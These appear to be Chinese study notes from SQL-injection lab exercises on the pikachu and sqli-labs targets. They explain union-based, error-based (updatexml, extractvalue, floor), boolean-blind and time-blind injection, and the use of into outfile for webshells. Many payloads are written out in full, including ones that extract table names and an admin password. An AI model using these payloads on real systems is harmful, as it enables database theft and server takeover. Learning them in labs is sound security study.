sql注入
mysql服务器支持的3种注释
- 从“#”字符到行尾
- 从“--”(2个破折号)序列到行尾,注:“--”注释风格要求2个破折号后面至少跟一个空格符号(如空格、tab、换行符等等),加空格符号是为了增加可读性和清晰度,大概是为了看得更顺眼,该语法与标准的sql注释语法有点不同
- 从/*序列到后面的*/序列,结束序列不一定在同一行,这个注释语法可以跨越多行

如果遇到get方式,就在URL提交数据
如果遇到post方式,就用抓包工具修改post数据提交注入
通过union进行数据获取:
union 联合查询:可以通过联合查询来查询指定的数据
用法举例:select username,password from user where id=1 union select 字段1,字段2 from 表名
用法注意:使用union要保证前后的字段(表的列数)一样,否则会报错,如上面这个例子,username和password对应union后面的字段1和字段2
但是在一般情况下你一开始是不知道union前面是有多少个字段的,所以在这种情况下,union后面要填几个字段你自然也是不知道的,所以现在要解决的问题就是:得到union前面有多少个字段,
如何得到呢?
用group by 或者order by 进行二分法查询


上图表示的是命令是 kobe' group by 5#
这里首先利用单引号将前面的内容闭合掉,#又将后面的内容注释掉,使得group by 5 这个语句可以执行
从第二张图可以看到字段不是5
那么接下来利用二分法,就试一下 group by 2
输入 kobe' group by 2#


显然字段为2
但这时候最好再输入kobe' group by 3# 确认一下

所以得到字段为2
知道了字段为2,如果你只需要查询一个东西(数据库名database,版本version,用户名user),那么输入命令:a' union select database(),2#或者a' union select 1,database()#

如果想要查询2个东西,可以输入:a' union select database(),user()#


介绍几个常见名词:
在mysql中,自带的information_schema这个表里面存放了大量的重要信息。具体如下如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如 :
schema表:提供了当前mysql实例中所有数据库的信息。用命令:show databases 可以得到这个表
tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。用命令:show tables from schemaname 可以得到这个表
columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。用命令:show columns from schemaname.tablename 可以得到这个表
通过sqli-labs第一道题估计就能把这些东西搞的差不多了
利用函数报错来获取信息:
在mysql中使用一些指定的函数(select/insert/update/detele)制造报错,从而从报错的信息中获取指定的信息
使用的前提条件:后台没有屏蔽数据库的报错信息,在语法发生错误的时候将错误输出在前端
三个常用的用来报错的函数:
- Updatexml():函数是mysql对XML文档数据进行查询和修改的XPATH函数
Updataxml()函数作用:改变(查找并替换)XML文档中符合条件的结点值
语法:Updataxml(xml_document,XPathstring,new_value)
第一个参数:xml文档对象的名称,string格式
第二个参数:代表路径,相当于第一个参数进行定位,Xpath格式的字符串,也可以是一个表达式,注:Xpath的定位必须是有效的,否则会发生错误
第三个参数:替换查找到的符合条件的数据,string格式
原理:由于updatexml 的第二个参数需要Xpath 格式的字符串,以~ 开头的内容不是xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了
slect下报错的利用演示:
首先要确定有报错信息的返回(比如直接输入单引号‘,然后提交,看看有没有报错信息),这是一个前提,没有报错信息返回就无法继续下去了
比如我现在想要得到数据库的版本version
输入命令:kobe' and updatexml(1,version(),0)# , 得到这个界面

虽然出现了语法错误,但是有一部分内容被吃掉了(被过滤掉了和转义机制察觉),没有显示出来,显然这不是我们想要的信息(版本),所以要对playload进一步处理:利用concat(value1,[value2....])函数绕过一些简单的字符过滤和转义机制,隐藏恶意输入
concat函数:把2个参数组合成一个完整的字符串,中间不会出现间隔字符
concat("明"," ","天"," ","将"," ","有"," ","日"," ","出。") 将返回明天将有日出。
重新输入命令:kobe' and updatexml(1,concat(0x7e,version()),0)#
注:0x7e为波浪符~,作用:避免报错信息不被吃掉, 不是一定要弄波浪符,也可以其他符号的十六进制,比如等号=(0x3d),等等

可以看到我们要查看的版本为5.7.26
当然你也可以查找数据库名,用户名,只需要把version换成database和user就行
如: 输入kobe' and updatexml(1,concat(0x7e,database()),0)# 等等

获得库名为“pikachu”
这条命令的关键就是concat(0x7e,version()),在这条命令中,concat的第一个参数为符号的十六进制,第二位就是我们想要查询的信息
#有时候报错的内容过多,不会显示出来,只会显示一行
比如输入:kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

可以利用limit,分成几次来进行获取表名:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 3,1)),0)#
limit 3,1:表示从第3个位置获取一行

这是数据库中第3个表名称,如果想要得到其他表名称,只需要将limit 3,1 改成 limit 0,1 / limit 2,2
........
以此类推
获取到表名后,获取列的思路也是一样的
输入命令:kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1)),0)#

获取列名称后,再来获取数据:
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
获取第一个用户名admin

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
得到admin的密码

sqli-labs靶场第五关:https://www.cnblogs.com/xjrycd/articles/17699390.html
基于inject update delete的注入利用:
1、inject / update :
首先查看是否存在报错返回,输入单引号提交,

发现出现报错,所以说明存在sql注入漏洞

由于数据库中用户格式为 '小红',
所以可以构造playload为: 字符串' or+我们想要实现的语句+or '
解释: 字符串'闭合掉小红前面的第一个引号,后面的or'闭合掉小红后面的单引号(第二个单引号),中间呢,就是我们注入的语句
所以我们可以构造playload:kobe' or updatexml(1,concat(0x7e,database(),0),0) or ' 来查询数据库的名字

2、基于delete:(要抓包,目前不是很会)
输入命令: 1 or updatexml(1,concat(0x7e,database()),0)
- extractvalue():函数也是mysql对XML文档数据进行查询的XPATH函数
作用:从目标xml中返回包含所查询值的字符串
语法:extractcalue(xml_document,xpath_string)
第一个参数:xml_document,string格式,为xml文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
注:xpath定位必须有效,否则会发生错误
使用方法和updatexml函数的用法基本一致
playload:kobe' and extractvalue(0,concat(0x7e,version()))#

- floor():mysql中用来取整的函数
先了解这些函数:
- rand()函数:随机返回0~1间的小数
- floor():小数向下取整数(向上取整数的函数为ceiling())
- concat_ws()函数:将括号内数据的第一个字段连接起来 比如concat_ws('~',dumb,dumb) 为 dumb~dumb
- group by 子句:分组语句,常用于统计函数,根据一个或者多个列,对结果集合进行分组
- as:别名
- count()函数:汇总统计数量
- limit:这里用于显示指定行数
playload:?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
分步介绍:
select concat_ws('-',(select database()),floor(rand()*2)) from users;

这句话的意思为:有多少用户就计算次,且结果随机(0~2)
select concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a;
这句话就是进行分组,组名为a,把security-0的放在一组,把security-1的放在一组

接着进行计数select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a;

就是统计security-0和security-1出现几次,但这个偶尔也会报错

但是我们就是想要让它报错,为什么会这样子?
原因:rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key(组名,就刚才的security-0、security-1)重复
但是 rand()*2 出现报错的机率不是100%,
但是如果是 rand(0)*2 、 rand(4)*2
就是100%产生报错
如上图,第一次计算,组名(key值)是security-0,然后要把security-0放入group_key,就是给它分组,然后发现group_key里面没有security-0,所以它就返回”key值不存在“,然后floor(ran(0)*2)又得计算一次,相当于就是把第二次的结果(security-1)放入到group_key里面,(个人理解:就是每次如果key值不存在的话,那么就要重新计算,把这一次算的值丢掉,然后再计算一次,把得到的值再放入),等到第三次计算(也就是security-1),发现里面有security-1,那么count+1,到第四次计算(也就是security-0),发现没有security-0,那么 就要重新计算(第五次计算),并且把再次算的值放入第二行中,但是这时候发现第五次算的是security-1,和第一行的security-1重复了,所以会报错,因为有了floor(rand(0)*2),所以可以固定报错。( floor(4)*2)也可以 )
sqli-labs第五关:
这篇文章也挺详细的,链接:https://zhuanlan.zhihu.com/p/525515610
使用参考:sqli-labs第五关:https://www.cnblogs.com/xjrycd/articles/17705764.html
http header注入:(未完)
盲注:
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,这个时候我们无法通过报错信息来进行注入判断,这种情况就是盲注
分类:
1、based boolean
症状:
- 没有报错信息
- 不管是正确输入还是错误输入,都只显示2种(可以认为是0或者1)
- 在正确输入下,输入and 1=1 或者 and 1=2 发现可以判断
- 如果页面既没有显示位,也没有报错提示的话,可以使用
题目:
先输入一个单引号进去


发现不会报错
再输入字符串playload


发现也不行,但这也不一定说明就没有sql注入漏洞
可以发现现在无论你输什么进去都是这个username不存在这条提示,那我们可以尝试用and来构造playload,如lucy' and 1=1#




发现正常页面出来了,所以目前来看,这道题只会回显上面这2种回显情况,也就是上面说的真和假,0和1的情况,所以就可以用盲注来解
如果还是觉得不是盲注,那你可以用一个报错注入的playload来解
如:lucy' and updatexml(1,concat(0x7e,version()),0)#
输入之后发现

还是这个界面,这时候就应该用盲注来解了、
构造playload:lucy' and ascii(substr(database(),1,1))=112#
首先我们已经知道lucy这个用户名是存在的,所以and前半部分的结果肯定为真,然后and后半部分就是我们构造的语句,这里ascii()函数是取参数的ascii值,substr函数是取数据库名的第一个字母,那么我们构造的语句的意思就是如果数据库名的第一位字母是112(也就是p),那么后半部分在逻辑上就是为真,前后部分都为真,那么等会界面肯定就会返回一个正常的页面,如

如果我们构造的语句为假,也就是说数据库名的第一个字母不是p的话,那么他就会返回错误界面,如:

所以我们就可以根据观察页面的正确与否,来判断我们构造的语句是否为真
综上,利用盲注,只能一步步慢慢地去找我们的想要的信息,然后拼接起来,那么我们要首先知道这个库名有多长,也就是有多少个字母,等会我们就利用playload(lucy' and ascii(substr(database(),1,1))=112#)一步步就把库名给凑出来,那么怎么知道库名有多长呢?
利用length函数
构造playload:lucy' and length(database())>=1#(这里可以按照2,4,8,16....依次递增上去)

可以发现我们构造的playload为真,也就是数据库库名的长度大于等于1
接着依次递增,到>=8,就开始出现报错画面,然后再换到>=7,发现是正确画面,那就是库名长度为7了
知道了库名长度,就按照上面的playload去一步步把库名给凑出来就可以了
原理大概就是这样,实际上是用工具sqlmap来弄效率会高点
sql靶场第八题: https://www.cnblogs.com/xjrycd/articles/17705173.html
2、based time
像基于boolean的盲注界面我们还可以看到0或者1的回显页面,而基于time的盲注就是完全啥也看不到,但还有一个条件,就是”时间“,可以通过特定的输入,判断后台的执行时间,从而确定注入,也就是说无论你输入什么,都只有1种页面
输入单引号,lucy,lucy' and 1=1# 等语句都会出现这个界面, 就可以尝试一下时间盲注

常用的playload:lucy' and sleep(5)#
sleep(5) 意思就是把要执行的操作延迟5秒操作
如何查看我们的请求花了多少时间呢?
首先ctrl键+shift键+i 打开面板
点击网络

再 ctrl+R
随便输入一个东西

发现正常就是220毫秒作用完成
输入playload:lucy' and sleep(5)#

可以发现比之前多了5秒,说明这里是存在时间盲注的,所以我们就可以构造playload:lucy' and if((substr(database(),1,1))='a',sleep(5),null)#
这个playload的意思为:如果数据库库名的第一个字母为a,那么就执行sleep(5),时间大概5秒多一点,否则如果不是a,就正常执行,也就是200毫秒左右,这样的话就可以通过观察这个加载时间来一个个把库名凑出来
os远程控制(未完)
- 一句话木马
- 如何通过into outfile写入恶意代码并控制os
一句话木马:一种短小而精悍的木马客户端,隐蔽性好,并且功能强大,就是利用各种语言中一些执行代码的函数或者执行命令的一些函数来构造一个简单的木马程序,也就是说可以把这个木马写到一个文件中去,然后通过对这个文件的访问,从而去执行这个函数,那我们就要将一些想要的操作传入到这些函数中,就可以完成这个木马去控制服务器

通过sql inject 漏洞写入恶意代码
playload:select 1,2 into outfile ''/var/www/html/1.txt''
into outfile 将select的结果写入到指定的目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提文件:
- 需要知道远程目录
- 需要远程目录有写权限
- 需要数据库开启secure_file_priw
sql靶场第7题:(未完)
表(列)名的暴力破解:(未完)
一般是没有权限去使用暴力破解
playload: lucy' and exists(select * from aa)#



浙公网安备 33010602011771号